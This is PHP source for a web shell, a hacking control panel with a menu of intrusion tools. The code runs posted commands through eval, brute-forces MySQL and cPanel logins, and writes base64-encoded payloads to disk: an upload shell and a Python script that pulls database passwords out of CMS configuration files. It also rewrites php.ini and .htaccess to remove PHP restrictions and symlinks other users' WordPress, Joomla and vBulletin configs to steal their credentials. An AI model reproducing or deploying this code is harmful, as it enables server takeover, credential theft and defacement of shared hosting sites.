<a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mail">Mail</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=chmod">Chmod</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=sqli-scanner">SQLI Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=port-sc">Port Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=config-scan">Config Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink">Symlink</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=configkiller">Config Killer</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi">Cgi Shell</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=vb">VB IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=wp-reset">Wordpress Res Pass</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jm-reset">Joomla Res Pass</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=zone">Zone-H</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=wpbrute">Wordpress BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jbrute">Joomla BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=string">Script Encode</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=dos">Ddos</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=about">About</a>
<a href="?<?php echo "y=".$pwd;	?>&amp;x=logout">Log-Out</a>

</div>
<!-- menu end -->

<?php if(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'php\')){ ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST[\'submitcmd\'])) {
	echo eval(magicboom($_POST[\'cmd\']));
}
else echo "echo file_get_contents(\'/etc/passwd\');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>

<?php } 

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mail\')){
if(isset($_POST[\'mail_send\'])){
	$mail_to = $_POST[\'mail_to\'];
	$mail_from = $_POST[\'mail_from\'];
	$mail_subject = $_POST[\'mail_subject\'];
	$mail_content = magicboom($_POST[\'mail_content\']);
	if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
		$msg = "email sent to $mail_to";
	}
	else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" />&nbsp; mail to</td></tr>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" />&nbsp; from</td></tr>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject</td></tr>
<tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>

<?php }


elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'phpinfo\')){ 
	@ob_start();
	eval("phpinfo();");
	$buff = @ob_get_contents();
	@ob_end_clean();	
	$awal = strpos($buff,"<body>")+6;
	$akhir = strpos($buff,"</body>");
	echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET[\'view\']) && ($_GET[\'view\'] != "")){
  if(is_file($_GET[\'view\'])){ 
	if(!isset($file)) $file = magicboom($_GET[\'view\']);
	if(!$win && $posix){
		$name=@posix_getpwuid(@fileowner($folder));
		$group=@posix_getgrgid(@filegroup($folder));
		$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
	}
	else {
		$owner = $user;
	}
	$filn = basename($file);
	echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
	<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
	<form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\" />
	</form>
	</td></tr>
	<tr><td>Size</td><td>".ukuran($file)."</td></tr>
	<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
	<tr><td>Owner</td><td>".$owner."</td></tr>
	<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
	<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
	<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
	<tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr>
	<tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr>
	</table>
	";
	if(isset($_GET[\'type\']) && ($_GET[\'type\']==\'image\')){
		echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
	}
	elseif(isset($_GET[\'type\']) && ($_GET[\'type\']==\'code\')){
		echo "<div class=\"viewfile\">";
		$file = wordwrap(@file_get_contents($file),"240","
");
		@highlight_string($file);
		echo "</div>";
	}
	else {
		echo "<div class=\"viewfile\">";
		echo nl2br(htmlentities((@file_get_contents($file))));
		echo "</div>";
	}
  }
  elseif(is_dir($_GET[\'view\'])){
		echo showdir($pwd,$prompt);
  }
	
}
elseif(isset($_GET[\'edit\']) && ($_GET[\'edit\'] != "")){

		if(isset($_POST[\'save\'])){
			$file = $_POST[\'saveas\'];
			$content = magicboom($_POST[\'content\']);
			if($filez = @fopen($file,"w")){
				$time = date("d-M-Y H:i",time());
				if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
				else $msg = "failed to save";
				@fclose($filez);
			}
			else $msg = "permission denied";
		}
		if(!isset($file)) $file = $_GET[\'edit\'];
		if($filez = @fopen($file,"r")){
			$content = "";
			while(!feof($filez)){
				$content .= htmlentities(str_replace("\'\'","\'",fgets($filez)));
			}
			@fclose($filez);
		}
	
?>
<form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'logout\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=logout" method="post">

<?php
    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]); 
    echo \'Good Bye!!\'; 
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'brute\'))
			{	
			?>
				<form action="?y=<?php echo $pwd; ?>&amp;x=brute" method="post">
			<?php
			//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By X\'1n73ct
*/
@set_time_limit(0);
@error_reporting(0);


if($_POST[\'page\']==\'find\')
{
if(isset($_POST[\'usernames\']) && isset($_POST[\'passwords\']))
{
    if($_POST[\'type\'] == \'passwd\'){
        $e = explode("
",$_POST[\'usernames\']);
        foreach($e as $value){
        $k = explode(":",$value);
        $username .= $k[\'0\']." ";
        }
    }elseif($_POST[\'type\'] == \'simple\'){
        $username = str_replace("
",\' \',$_POST[\'usernames\']);
    }
    $a1 = explode(" ",$username);
    $a2 = explode("
",$_POST[\'passwords\']);
    $id2 = count($a2);
    $ok = 0;
    foreach($a1 as $user )
    {
        if($user !== \'\')
        {
        $user=trim($user);
         for($i=0;$i<=$id2;$i++)
         {
            $pass = trim($a2[$i]);
            if(@mysql_connect(\'localhost\',$user,$pass))
            {
                echo "StupidDevils~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
                $ok++;
            }
         }
        }
    }
    echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by StupidDevils</b>";
    echo "<center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
    exit;
}
}
if($_POST[\'pass\']==\'password\'){
@error_reporting(0);
$i = getenv(\'REMOTE_ADDR\');
$d = date(\'D, M jS, Y H:i\',time());
$h = $_SERVER[\'HTTP_HOST\'];
$dir=$_SERVER[\'PHP_SELF\'];
//mail("[email protected]","Teamroot Bruteforce","IP : $i 
 | Host : $h 
 | Dir : $dir 
 ");
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir(\'config\',0755);
$cp =
\'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=\';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST[\'url\'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink (\'cp.py\');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
if($_POST[\'matikan\']==\'sekatan\'){
@error_reporting(0);
$phpini =
\'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==\';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
\'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==\';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
if($_POST[\'mendapatkan\']==\'passwd\'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
$fn = $_POST[\'foldername\'];
//all function here

function syml($usern,$pdomain)
	{
		symlink(\'/home/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
